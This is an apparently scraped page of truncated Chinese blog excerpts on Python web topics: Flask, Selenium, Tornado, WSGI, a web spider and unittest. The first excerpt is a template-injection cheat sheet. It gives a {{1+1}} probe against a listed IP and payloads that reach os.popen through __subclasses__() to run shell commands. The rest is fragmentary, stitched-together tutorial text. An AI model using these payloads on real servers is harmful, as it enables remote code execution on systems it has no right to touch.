0x01 pthon模板注入判断是否为模板注入paload http://124.126.19.106:34164/{{1+1}}//如果里面的值被执行了，那么存在模板注入 //调用os模块的popen执行ls打印所有文件 {{[].__class__.__base__.__subclasses__()[71].__init__.__globals__[‘os‘].popen("命令").read()}} {{[].__class__.__base__.__subclasses__()[71].__init__.__globals__[‘os‘].popen("ls").read()}} 或者 //调用os模块的listdir打印文件 {{[].__class__._...
Nginx+uwsgi+Django (Python web环境)本文出自 “逗哥笔记” 博客，请务必保留此出处http://qiuyt.blog.51cto.com/1229789/1968558原文：http://qiuyt.blog.51cto.com/1229789/1968558
参考教程链接：1.https://dormousehole.readthedocs.io/en/latest/2.https://www.w3cschool.cn/flask/ 前提准备：anaconda（python3），pycharm一、写一个hello.pyfrom flask import Flask app = Flask(__name__)@app.route(‘/‘) def hello_world():return‘Hello World’if__name__ == ‘__main__‘:app.run()解释：1.@app.route(‘/‘)说明了下面的hello_world()函数与url‘/‘绑定(http://127.0.0.1:5000/)运行该hello.py，点...
使用Python+unittest完成web接口测试用例，调用post方法是，一直返回错误报文：{"msg":"JSON parse error: Cannot construct instance of `xxxxx` (although at least one Creator exists): no String-argument constructor/factory method to deserialize from String value (‘‘); nested exception is com.fasterxml.jackson.databind.exc.MismatchedInputException: Cannot construct instance of `xxxxx` (although at least...
Python websocket实时消息推送 实现步骤如下：1. 获取GoEasy appkey.在goeasy官网上注册一个账号，并新建一个app. APP创建好后系统会为该app自动生成两个key, 一个既可以用来接收又可以用来推送 (supper key)，另一个只可以用来接收(subscriber key).2. 客户端订阅一个channel.a. 在客户端引入goeasy.js， js地址：http://cdn.goeasy.io/goeasy.js需要注意的是，不能将goeasy.js下载到本地，因为goeasy会根据...
操作日期元素 第一种方式直接向输入框输入日期dateInputBox = self.driver.find_element_by_id("datepicker")dateInputBox.send_keys("11/24/2016")#encoding=utf-8from selenium import webdriverimport unittest, time, tracebackfrom selenium.webdriver.support.ui import WebDriverWaitfrom selenium.webdriver.common.by import Byfrom selenium.webdriver.support import expected_conditions as ECfrom selenium.common.ex...
概述Tornado 是 FriendFeed 使用的可扩展的非阻塞式 web 服务器及其相关工具的开源版本。这个 Web 框架看起来有些像web.py 或者 Google 的 webapp，不过为了能有效利用非阻塞式服务器环境，这个 Web 框架还包含了一些相关的有用工具 和优化。Tornado 和现在的主流 Web 服务器框架（包括大多数 Python 的框架）有着明显的区别：它是非阻塞式服务器，而且速度相当快。得利于其 非阻塞的方式和对 epoll 的运用，Tornado 每秒可以处理数...
大纲P70——WebDriver APIP83——控制浏览器P86——简单元素操作P92——键盘事件和获得验证信息（预期结果）P95——设置元素等待：显示等待和隐式等待P100——定位一组元素P104——多表单切换P106——多窗口切换P108——警告框处理P110——上传文件P116——下载文件P117——操作cookieP120——调用JavaScriptP123——处理HTML5的视频播放P124——窗口截图P125——关闭窗口和验证码处理P128——WebDriver原理正文P70——WebDriver A...
自己动手写一个web框架，因为我是菜鸟，对于python的一些内建函数不是清楚，所以在写这篇文章之前需要一些python和WSGI的预备知识，这是一系列文章。这一篇只实现了如何处理url。参考这篇文章：http://www.cnblogs.com/russellluo/p/3338616.html预备知识web框架主要是实现web服务器和web应用之间的交互。底层的网络协议主要有web服务器完成。譬如监听端口，填充报文等等。Python内建函数__iter__和__call__和WSGI迭代器iterator迭...
要在日期框中输入当前日期，如下图代码为 本想用最简单的方法，直接用sendkeys发送当前日期，如下：current_time=time.strftime(‘%Y-%m-%d‘,time.localtime(time.time())) driver.find_element_by_id("id_start").send_keys(current_time)但是在实际操作时，发现发送完成后，写入的不是我的东西，而是又多了一个日期，不知道为什么。有空研究下。就用js来操作，直接给出实例:current_time=time.strftime(‘%Y-%m-%d‘,time.local...
Python写的Web spider：<span style="font-size:14px;"># web spider # author vince 2015/7/29 import urllib2 import re# get href content pattern = '<a(?:\\s+.+?)*?\\s+href=\"([h]{1}[^\"]*?)\"' t = set("") # collection of urldef fecth(url):http_request = urllib2.Request(url)http_request.add_header('User-Agent', 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.134...
1. 个人学期总结 第一次接触Python，在不了解Python的情况下，基础又差，望而生畏，一开始就给自己打了个叉。然而，通过前期turtle库的学习，我发现这门语言似乎很有趣，用其他语言要写好几十行的代码，用Python语言只要十几二十行的代码就能实现，它的turtle库很简单地用一些条件、循环、函数定义，就能画出漂亮的图案，像五角星、同心圆、太阳花、中国国旗这些图案，我才发觉这是一门多么简洁实用又功能强大的语言。有了开...
传统web server面临的问题我们知道传统的web server，一个进程打开socket，监听，来了请求生成新的进程（或线程、或阻塞）进行响应，本身还在继续监听。这是看过unix网络编程的大部分人所接触到的网络模型。然而，unix实在太老，网络需求在近些年发生了巨大的变化，最重要的就是对并发性的要求。并发性的要求的提高，让本机的web server的架构也发生了变化，并且对本机这个词语也发生了不同的需求。因为server的请求可能不是一台机...
先在cmd环境 运行 pip install ddt 安装数据驱动ddt模块 脚本：#encoding=utf-8from selenium import webdriverimport unittest,timeimport logging,tracebackimport ddt from selenium.common.exceptions import NoSuchElementException #初始化日志对象logging.basicConfig( #日志级别 level=logging.INFO, #日志格式 #时间、代码所在文件名、代码行号、日志级别名称、日志信息 format=‘%(asctime)s %(filename...
1.对话框，下拉框（1）对话框的有两种，一种是iframe格式的，需要switch_to_iframe()进行定位，现在大部分的对话框是div格式的，这种格式的可以通过层级定位来定位元素，先定位对话框的div，然后再对对话框的元素进行定位。（2）另外的弹出消息提示框有三种类型:alert,comfirm,prompt，三种类型的区别为;alert消息提示框仅提供“确定”按钮，用于警告等提示，comfirm提示框提供“是”和“否”的选择，prompt则是提示输入对话框，包...